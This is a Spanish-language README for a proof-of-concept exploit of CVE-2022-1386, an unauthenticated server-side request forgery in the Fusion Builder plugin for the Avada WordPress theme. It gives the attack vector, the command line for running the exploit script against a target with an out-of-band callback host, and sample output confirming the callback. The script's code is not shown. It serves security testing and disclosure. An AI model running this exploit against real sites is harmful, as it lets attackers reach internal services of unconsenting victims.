CVE-2022-1386 – Fusion Builder < 3.6.2 - SSRF no autenticado

💥 Descripción

Server-Side Request Forgery (SSRF) no autenticado en el plugin Fusion Builder (usado por el tema Avada de WordPress) anterior a la versión 3.6.2.
Permite a atacantes realizar peticiones HTTP a URLs arbitrarias, pudiendo atacar servicios internos.

🛡 Producto afectado

• Fusion Builder < 3.6.2
• Instalaciones del tema Avada que usan el plugin Fusion Builder vulnerable

🔍 Detalles del CVE

• CVE: CVE-2022-1386
• Gravedad: Crítica
• Vector: HTTP POST no autenticado a admin-ajax.php

🧪 Uso del PoC

python3 exploit_cve_2022_1386.py <target_url> <your_callback_url>

Ejemplo:

python3 exploit_cve_2022_1386.py https://vulnerable.site https://abc123.oast.fun

Usa Interact.sh o [Burp Collaborator] para recibir la devolución.

📋 Salida de ejemplo

[*] Fetching nonce from target...
[*] Sending SSRF payload to https://abc123.oast.fun...
[+] SSRF confirmed: received callback from victim server.

📌 Notas

• Este PoC evita la exfiltración de datos.
• Solo uso ético: no explotar sistemas sin autorización.

📚 Referencias https://wpscan.com/vulnerability/bf7034ab-24c4-461f-a709-3f73988b536b https://theme-fusion.com/documentation/avada/fusion-builder-changelog/